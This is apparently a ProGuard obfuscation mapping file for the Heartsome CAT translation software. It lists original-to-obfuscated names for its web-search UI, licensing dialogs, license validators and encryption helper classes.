widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$5 -> net.heartsome.cat.ts.websearch.ui.preference.g: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$6 -> net.heartsome.cat.ts.websearch.ui.preference.h: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$7 -> net.heartsome.cat.ts.websearch.ui.preference.i: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$8 -> net.heartsome.cat.ts.websearch.ui.preference.j: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$CheckListener -> net.heartsome.cat.ts.websearch.ui.preference.k: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void checkStateChanged(org.eclipse.jface.viewers.CheckStateChangedEvent) -> checkStateChanged +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$CheckProvider -> net.heartsome.cat.ts.websearch.ui.preference.l: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + boolean isChecked(java.lang.Object) -> isChecked + boolean isGrayed(java.lang.Object) -> isGrayed +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$NameModifier -> net.heartsome.cat.ts.websearch.ui.preference.m: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void modify(java.lang.Object,java.lang.String,java.lang.Object) -> modify + java.lang.Object getValue(java.lang.Object,java.lang.String) -> getValue + boolean canModify(java.lang.Object,java.lang.String) -> canModify +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$WebSearchContentProvider -> net.heartsome.cat.ts.websearch.ui.preference.n: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + java.lang.Object[] getElements(java.lang.Object) -> getElements + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$WebSearchLableProvider -> net.heartsome.cat.ts.websearch.ui.preference.o: + java.util.List cache -> gg + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void addListener(org.eclipse.jface.viewers.ILabelProviderListener) -> addListener + void dispose() -> dispose + boolean isLabelProperty(java.lang.Object,java.lang.String) -> isLabelProperty + void removeListener(org.eclipse.jface.viewers.ILabelProviderListener) -> removeListener + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText + void createColumns(org.eclipse.jface.viewers.TableViewer) -> createColumns +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart -> net.heartsome.cat.ts.websearch.ui.view.a: + java.lang.String ID -> ID + java.util.List urls -> ara + net.heartsome.cat.ts.websearch.ui.browser.BrowserTab[] browserTabs -> arb + org.eclipse.swt.widgets.Text keyWordForSearch -> arc + org.eclipse.swt.custom.CTabFolder tabFolder -> ard + java.beans.PropertyChangeListener urlChangelistener -> are + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$ResfreshCurentTab refreshContentJob -> arf + java.util.Map titleIamgeCache -> arg + org.eclipse.swt.graphics.Font font -> font + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + org.eclipse.swt.widgets.Composite createSearchArea(org.eclipse.swt.widgets.Composite) -> an + org.eclipse.swt.widgets.Composite createSeparatorArea(org.eclipse.swt.widgets.Composite) -> ao + org.eclipse.swt.widgets.Composite createBrowserArea(org.eclipse.swt.widgets.Composite) -> ap + net.heartsome.cat.ts.websearch.ui.browser.BrowserTab getCurrentTab() -> pU + void refreshTabContent() -> pV + void refreshKeyWordSearch(boolean) -> ao + void setFocus() -> setFocus + void setKeyWord(java.lang.String,boolean) -> d + void dispose() -> dispose + void disposeCacheImage() -> pW + java.lang.String getImageUrl(java.lang.String) -> fY + org.eclipse.swt.graphics.Image getTitleImage(java.lang.String) -> fZ + org.eclipse.swt.graphics.Image getImage(java.lang.String) -> getImage + void access$0(net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart,java.util.List) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart) -> a + org.eclipse.swt.custom.CTabFolder access$2(net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart) -> b +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$1 -> net.heartsome.cat.ts.websearch.ui.view.b: + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart this$0 -> arh + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$2 -> net.heartsome.cat.ts.websearch.ui.view.c: + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart this$0 -> arh + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$3 -> net.heartsome.cat.ts.websearch.ui.view.d: + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart this$0 -> arh + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$4 -> net.heartsome.cat.ts.websearch.ui.view.e: + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart this$0 -> arh + org.eclipse.core.runtime.IStatus runInUIThread(org.eclipse.core.runtime.IProgressMonitor) -> runInUIThread + boolean shouldRun() -> shouldRun +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$ProperChangeListener -> net.heartsome.cat.ts.websearch.ui.view.f: + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart this$0 -> arh + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$ResfreshCurentTab -> net.heartsome.cat.ts.websearch.ui.view.g: + boolean isStop -> ari + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart this$0 -> arh + void run() -> run + boolean isStop() -> pX + void setStop(boolean) -> setStop + void shutDown() -> shutDown + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart access$0(net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$ResfreshCurentTab) -> a +net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$ResfreshCurentTab$1 -> net.heartsome.cat.ts.websearch.ui.view.h: + net.heartsome.cat.ts.websearch.ui.view.BrowserViewPart$ResfreshCurentTab this$1 -> arj + void run() -> run +net.heartsome.license.ActiveMethodDialog -> net.heartsome.license.aa: + org.eclipse.swt.graphics.Point p -> akx + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void access$0(net.heartsome.license.ActiveMethodDialog,int) -> a +net.heartsome.license.ActiveMethodDialog$1 -> net.heartsome.license.ac: + net.heartsome.license.ActiveMethodDialog this$0 -> aky + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.ActiveMethodDialog$2 -> net.heartsome.license.ad: + net.heartsome.license.ActiveMethodDialog this$0 -> aky + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog -> net.heartsome.license.v: + java.lang.String editionInput -> aij + java.lang.String title -> title + org.eclipse.swt.custom.StyledText text -> ahQ + java.util.List list -> list + org.eclipse.swt.graphics.Color red -> GC + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Control createMessageArea(org.eclipse.swt.widgets.Composite) -> createMessageArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Image getImage() -> getImage + void addAccessibleListeners(org.eclipse.swt.widgets.Label,org.eclipse.swt.graphics.Image) -> a + java.lang.String getAccessibleMessageFor(org.eclipse.swt.graphics.Image) -> b + void setStyle() -> setStyle + java.lang.String access$0(net.heartsome.license.CustomMessageDialog) -> a + java.lang.String access$1(net.heartsome.license.CustomMessageDialog,org.eclipse.swt.graphics.Image) -> a +net.heartsome.license.CustomMessageDialog$1 -> net.heartsome.license.w: + net.heartsome.license.CustomMessageDialog this$0 -> ahR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog$2 -> net.heartsome.license.x: + net.heartsome.license.CustomMessageDialog this$0 -> ahR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog$3 -> net.heartsome.license.y: + net.heartsome.license.CustomMessageDialog this$0 -> ahR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog$4 -> net.heartsome.license.z: + net.heartsome.license.CustomMessageDialog this$0 -> ahR + org.eclipse.swt.graphics.Image val$image -> ahS + void getName(org.eclipse.swt.accessibility.AccessibleEvent) -> getName +net.heartsome.license.GetActiveKeyDialog -> net.heartsome.license.ae: + org.eclipse.swt.widgets.Text textActivekey -> akz + java.lang.String activekey -> akA + org.eclipse.swt.graphics.Point p -> akx + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createNavigation(org.eclipse.swt.widgets.Composite) -> ab + void okPressed() -> okPressed + org.eclipse.swt.widgets.Text access$0(net.heartsome.license.GetActiveKeyDialog) -> a +net.heartsome.license.GetActiveKeyDialog$1 -> net.heartsome.license.af: + net.heartsome.license.GetActiveKeyDialog this$0 -> akB + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseAgreementDialog -> net.heartsome.license.a: + org.eclipse.swt.widgets.Button agreeBtn -> abS + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void okPressed() -> okPressed + org.eclipse.swt.widgets.Button access$0(net.heartsome.license.LicenseAgreementDialog,int) -> a + org.eclipse.swt.widgets.Button access$1(net.heartsome.license.LicenseAgreementDialog) -> a +net.heartsome.license.LicenseAgreementDialog$1 -> net.heartsome.license.b: + net.heartsome.license.LicenseAgreementDialog this$0 -> abT + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseIdValidator -> net.heartsome.license.c: + boolean isTrial -> abU + net.heartsome.license.generator.LicenseIdGenerator gen -> abV + boolean checkLicense() -> lU + boolean checkEdition() -> checkEdition + boolean getType() -> lW +net.heartsome.license.LicenseManageDialog -> net.heartsome.license.d: + int type -> type + java.lang.String utilDate -> abW + java.lang.String licenseId -> abX + boolean isShowBack -> akC + org.eclipse.swt.graphics.Point p -> akx + org.eclipse.swt.widgets.Text text -> text + org.eclipse.swt.widgets.Text text1 -> abY + org.eclipse.swt.widgets.Text text2 -> abZ + org.eclipse.swt.widgets.Text text3 -> aca + org.eclipse.swt.widgets.Text text4 -> acb + org.eclipse.swt.widgets.Text text5 -> acc + org.eclipse.swt.widgets.Text text6 -> acd + org.eclipse.swt.widgets.Label label4 -> ace + org.eclipse.swt.widgets.ProgressBar bar -> acf + org.eclipse.swt.graphics.Cursor cursor -> acg + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createStatusComp(org.eclipse.swt.widgets.Composite) -> W + void createActiveComp(org.eclipse.swt.widgets.Composite) -> X + void createBarComp(org.eclipse.swt.widgets.Composite) -> Y + void setVisible(boolean) -> setVisible + void createIdInputComp(org.eclipse.swt.widgets.Composite) -> Z + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void okPressed() -> okPressed + java.lang.String getLicenseId() -> lX + void main(java.lang.String[]) -> main + boolean close() -> close + java.lang.String getVersionContent(java.lang.String) -> eG + void access$0(net.heartsome.license.LicenseManageDialog,int) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.license.LicenseManageDialog) -> b + org.eclipse.swt.widgets.Text access$2(net.heartsome.license.LicenseManageDialog) -> c + org.eclipse.swt.widgets.Text access$3(net.heartsome.license.LicenseManageDialog) -> d + org.eclipse.swt.widgets.Text access$4(net.heartsome.license.LicenseManageDialog) -> e + org.eclipse.swt.widgets.Text access$5(net.heartsome.license.LicenseManageDialog) -> f + org.eclipse.swt.widgets.Text access$6(net.heartsome.license.LicenseManageDialog) -> a +net.heartsome.license.LicenseManageDialog$1 -> net.heartsome.license.e: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseManageDialog$10 -> net.heartsome.license.ab: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$11 -> net.heartsome.license.ag: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$2 -> net.heartsome.license.f: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseManageDialog$2$1 -> net.heartsome.license.ah: + org.eclipse.swt.graphics.Image image -> image + net.heartsome.license.LicenseManageDialog$2 this$1 -> akD + java.util.List val$imageList -> ahI + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage +net.heartsome.license.LicenseManageDialog$3 -> net.heartsome.license.g: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseManageDialog$4 -> net.heartsome.license.h: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.LicenseManageDialog$5 -> net.heartsome.license.i: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.LicenseManageDialog$6 -> net.heartsome.license.j: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$7 -> net.heartsome.license.k: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$8 -> net.heartsome.license.l: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$9 -> net.heartsome.license.m: + net.heartsome.license.LicenseManageDialog this$0 -> ach + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseReader -> net.heartsome.license.n: + byte[] key -> key + byte[] getLicenseInfo(byte[]) -> a +net.heartsome.license.LinuxSeries -> net.heartsome.license.o: + java.lang.String getSeries() -> getSeries +net.heartsome.license.LocalAuthorizationValidator -> net.heartsome.license.p: + boolean isTrial -> abU + java.lang.String licenseId -> abX + java.lang.String macCode -> aci + byte[] b -> b + int checkLicense() -> lY + boolean isExsitMac(java.lang.String) -> eH + java.lang.String[] getStrFromInfo(java.lang.String) -> eI + boolean compareMacCode(java.lang.String,java.lang.String) -> W + boolean isTrial() -> lZ + java.lang.String getLicenseId() -> lX + byte[] getInstall() -> ma + java.lang.String getMacCode() -> mb +net.heartsome.license.MacosxSeries -> net.heartsome.license.q: + java.lang.String getSeries() -> getSeries +net.heartsome.license.MacosxSeries$ReadThread -> net.heartsome.license.r: + java.io.InputStream is -> is + java.util.ArrayList result -> acj + boolean flag -> flag + java.lang.String getResult() -> mc + void run() -> run +net.heartsome.license.OffLineActiveService -> net.heartsome.license.ai: + java.lang.String installKey -> adA + int activeByGrantFile(java.lang.String) -> eU + int generateInstallFile() -> nD + int readInstallFile() -> nE + java.lang.String getInstallKey() -> mg + java.lang.String[] getStrFromInfo(java.lang.String) -> eI +net.heartsome.license.OfflineActiveDialog -> net.heartsome.license.aj: + org.eclipse.swt.graphics.Cursor cursor -> acg + org.eclipse.swt.widgets.Text text1 -> abY + org.eclipse.swt.widgets.Text text2 -> abZ + org.eclipse.swt.widgets.Text text3 -> aca + org.eclipse.swt.widgets.Text text4 -> acb + org.eclipse.swt.widgets.Text text5 -> acc + org.eclipse.swt.widgets.Text text6 -> acd + org.eclipse.swt.graphics.Point p -> akx + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createNavigation(org.eclipse.swt.widgets.Composite) -> ab + void createIdInputComp(org.eclipse.swt.widgets.Composite) -> Z + java.lang.String getLicenseId() -> lX + java.lang.String getVersionContent(java.lang.String) -> eG + void okPressed() -> okPressed + void access$0(net.heartsome.license.OfflineActiveDialog,int) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.license.OfflineActiveDialog) -> a + org.eclipse.swt.widgets.Text access$2(net.heartsome.license.OfflineActiveDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.license.OfflineActiveDialog) -> c + org.eclipse.swt.widgets.Text access$4(net.heartsome.license.OfflineActiveDialog) -> d + org.eclipse.swt.widgets.Text access$5(net.heartsome.license.OfflineActiveDialog) -> e + org.eclipse.swt.widgets.Text access$6(net.heartsome.license.OfflineActiveDialog) -> f +net.heartsome.license.OfflineActiveDialog$1 -> net.heartsome.license.ak: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.OfflineActiveDialog$2 -> net.heartsome.license.al: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.OfflineActiveDialog$3 -> net.heartsome.license.am: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.OfflineActiveDialog$4 -> net.heartsome.license.an: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$5 -> net.heartsome.license.ao: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$6 -> net.heartsome.license.ap: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$7 -> net.heartsome.license.aq: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$8 -> net.heartsome.license.ar: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$9 -> net.heartsome.license.as: + net.heartsome.license.OfflineActiveDialog this$0 -> akE + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.ProtectionFactory -> net.heartsome.license.s: + java.lang.String getSeries() -> getSeries + net.heartsome.license.encrypt.Encrypt getEncrypt() -> md + java.lang.String getFileName(int,java.lang.String) -> f + java.lang.String getPlatform() -> getPlatform + java.lang.String getProduct() -> getProduct + java.lang.String getProduct(java.lang.String) -> ct + java.lang.String getVersion() -> getVersion +net.heartsome.license.SelectGrantFileDialog -> net.heartsome.license.at: + org.eclipse.swt.widgets.Text textPath -> akF + org.eclipse.swt.widgets.Button btnScan -> akG + java.lang.String[] FILE_IMPORT_MASK -> zh + org.eclipse.swt.graphics.Point p -> akx + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createNavigation(org.eclipse.swt.widgets.Composite) -> ab + void okPressed() -> okPressed + org.eclipse.swt.widgets.Text access$0(net.heartsome.license.SelectGrantFileDialog) -> a + java.lang.String[] access$1() -> nF +net.heartsome.license.SelectGrantFileDialog$1 -> net.heartsome.license.au: + net.heartsome.license.SelectGrantFileDialog this$0 -> akH + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.Series -> net.heartsome.license.Series: + java.lang.String getSeries() -> getSeries +net.heartsome.license.SeriesInterface -> net.heartsome.license.t: + java.lang.String getSeries() -> getSeries +net.heartsome.license.WindowsSeries -> net.heartsome.license.u: + java.lang.String getSeries() -> getSeries +net.heartsome.license.constants.Constants -> net.heartsome.license.constants.a: + java.lang.String SEPARATOR -> SEPARATOR + java.lang.String RETURN_INVALIDLICENSE -> ack + int RETURN_INVALIDLICENSE_INT -> acl + java.lang.String RETURN_INVALIDBUNDLE -> acm + int RETURN_INVALIDBUNDLE_INT -> acn + java.lang.String RETURN_DBEXCEPTION -> aco + java.lang.String RETURN_STOPLICENSE -> acp + int RETURN_STOPLICENSE_INT -> acq + int ACTIVE_OK_INT -> acr + java.lang.String RETURN_MUTILTEMPBUNDLE -> acs + int RETURN_MUTILTEMPBUNDLE_INT -> act + java.lang.String RETURN_EXPIREDLICENSE -> acu + int RETURN_EXPIREDLICENSE_INT -> acv + java.lang.String RETURN_MACCODEERR -> acw + java.lang.String RETURN_CHECKSUCESS -> acx + int EXCEPTION_INT1 -> acy + java.lang.String EXCEPTION_STRING1 -> acz + int EXCEPTION_INT2 -> acA + java.lang.String EXCEPTION_STRING2 -> acB + int EXCEPTION_INT3 -> acC + java.lang.String EXCEPTION_STRING3 -> acD + int EXCEPTION_INT4 -> acE + java.lang.String EXCEPTION_STRING4 -> acF + int EXCEPTION_INT5 -> acG + java.lang.String EXCEPTION_STRING5 -> acH + int EXCEPTION_INT6 -> acI + java.lang.String EXCEPTION_STRING6 -> acJ + int EXCEPTION_INT7 -> acK + java.lang.String EXCEPTION_STRING7 -> acL + int EXCEPTION_INT8 -> acM + java.lang.String EXCEPTION_STRING8 -> acN + int EXCEPTION_INT9 -> acO + java.lang.String EXCEPTION_STRING9 -> acP + int EXCEPTION_INT10 -> acQ + java.lang.String EXCEPTION_STRING10 -> acR + int EXCEPTION_INT11 -> acS + java.lang.String EXCEPTION_STRING11 -> acT + int EXCEPTION_INT12 -> acU + java.lang.String EXCEPTION_STRING12 -> acV + int EXCEPTION_INT13 -> acW + java.lang.String EXCEPTION_STRING13 -> acX + int EXCEPTION_INT14 -> acY + java.lang.String EXCEPTION_STRING14 -> acZ + int EXCEPTION_INT15 -> ada + java.lang.String EXCEPTION_STRING15 -> adb + int EXCEPTION_INT16 -> adc + java.lang.String EXCEPTION_STRING16 -> add + int EXCEPTION_INT17 -> ade + java.lang.String EXCEPTION_STRING17 -> adf + int CANCEL -> CANCEL + int STATE_FILE_NOT_EXSIT -> adg + int STATE_NOT_ACTIVATED -> adh + int STATE_VALID -> adi + int STATE_INVALID -> adj + int STATE_EXPIRED -> adk + java.lang.String RETURN_LOGOUTSUCESS -> adl + int LOGOUT_SUCCESS -> adm + int LOGOUT_FAIL -> adn + java.lang.String PRODUCTID -> ado + java.lang.String TYPE_TMEP -> adp + java.lang.String TYPE_BUSINESS -> adq + java.lang.String CONNECT_URL -> adr + java.lang.String RETURN_NULLTEMPENDDATE -> ads +net.heartsome.license.encrypt.Encrypt -> net.heartsome.license.encrypt.a: + byte[] getPublicKey() -> me + byte[] getPrivateKey() -> mf + byte[] encrypt(byte[],byte[]) -> encrypt + byte[] decrypt(byte[],byte[]) -> decrypt +net.heartsome.license.encrypt.EncryptAES -> net.heartsome.license.encrypt.b: + javax.crypto.KeyGenerator keygen -> adt + javax.crypto.SecretKey deskey -> adu + javax.crypto.Cipher c -> adv + byte[] cipherByte -> adw + byte[] Encrytor(java.lang.String) -> eJ + byte[] Decryptor(byte[]) -> b + void main(java.lang.String[]) -> main +net.heartsome.license.encrypt.EncryptDES -> net.heartsome.license.encrypt.c: + javax.crypto.KeyGenerator keygen -> adt + javax.crypto.SecretKey deskey -> adu + javax.crypto.Cipher c -> adv + byte[] cipherByte -> adw + byte[] Encrytor(byte[]) -> c + byte[] Decryptor(byte[]) -> b + void main(java.lang.String[]) -> main +net.heartsome.license.encrypt.EncryptDES3 -> net.heartsome.license.encrypt.d: + javax.crypto.KeyGenerator keygen -> adt + javax.crypto.SecretKey deskey -> adu + javax.crypto.Cipher c -> adv + byte[] cipherByte -> adw + byte[] Encrytor(java.lang.String) -> eJ + byte[] Decryptor(byte[]) -> b + void main(java.lang.String[]) -> main +net.heartsome.license.encrypt.EncryptRSA -> net.heartsome.license.encrypt.e: + java.lang.String algorithm -> algorithm + int key_size -> adx + byte[] publicKey -> ady + byte[] privateKey -> adz + byte[] encrypt(byte[],byte[]) -> encrypt + byte[] decrypt(byte[],byte[]) -> decrypt + byte[] getPublicKey() -> me + byte[] getPrivateKey() -> mf +net.heartsome.license.encrypt.InstallKeyEncrypt -> net.heartsome.license.encrypt.f: + byte[] publicKey -> ady + byte[] privateKey -> adz + byte[] encrypt(byte[]) -> d + byte[] decrypt(byte[]) -> e +net.heartsome.license.encrypt.OffLineEncrypt -> net.heartsome.license.encrypt.g: + byte[] publicKey -> ady +net.heartsome.license.generator.IKeyGenerator -> net.heartsome.license.generator.a: + byte[] generateKey(java.lang.String,java.lang.String,byte[]) -> a + byte[] generateKey(java.lang.String,java.lang.String,java.lang.String,byte[]) -> a + java.lang.String getInstallKey() -> mg + java.lang.String generateInstallKey() -> mh +net.heartsome.license.generator.KeyGeneratorImpl -> net.heartsome.license.generator.b: + java.lang.String installKey -> adA + byte[] generateKey(java.lang.String,java.lang.String,byte[]) -> a + java.lang.String generateInstallKey() -> mh + java.lang.String getInstallKey() -> mg + byte[] generateKey(java.lang.String,java.lang.String,java.lang.String,byte[]) -> a +net.heartsome.license.generator.LicenseIdGenerator -> net.heartsome.license.generator.c: + java.lang.String licenseId -> abX + java.lang.String getProductId() -> getProductId + java.lang.String getVersion() -> getVersion + java.lang.String getIsTrial() -> mi + boolean checkLength() -> mj +net.heartsome.license.handler.LicenseManageHandler -> net.heartsome.license.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.license.handler.LicenseManageHandler$1 -> net.heartsome.license.handler.b: + net.heartsome.license.handler.LicenseManageHandler this$0 -> adB + java.lang.String[] val$str -> adC + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.license.resource.Messages -> net.heartsome.license.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + 